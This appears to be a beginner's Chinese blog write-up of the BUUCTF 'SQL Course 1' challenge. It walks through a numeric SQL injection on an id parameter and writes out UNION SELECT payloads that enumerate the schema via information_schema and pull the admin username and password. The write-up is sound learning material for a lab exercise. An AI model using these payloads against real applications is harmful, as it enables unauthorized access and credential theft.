BUUCTF_BUU SQL COURSE 1

打开实例

发现“热点”及“登录”两个选项

根据题目提示，sql注入，尝试在登录界面寻找注入点，无果

接着进入热点界面，发现三篇新闻，依次点击发现url变化，burp抓包

发现是通过对id值的控制访问不同界面，由此发现注入点

1.判断注入类型，输入1,2-1

?id=1    ?id=2-1

发现回显一样，判断为数字型

2.查找列数

?id=1+order+by+3--+
?id=1+order+by+2--+

得到列数为2，接着构造payload进行查询即可

3.查数据库

?id=0+union+select+1,database()

4.查表

?id=0+union+select+1,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))--+

5.查列

?id=0+union+select+1,(select(group_concat(column_name))from(information_schema.columns)where(table_name='admin'))--+

6.查询username和password

?id=0+union+select+1,(select+username+from+admin)--+
?id=0+union+select+1,(select+password+from+admin)--+

最后登录拿到flag

总结：

这是一道简单的数字型sql注入，关键在于找到注入点，还有对sql查询语句的掌握

写这篇博客也是为了给自己总结一下，刚接触sql注入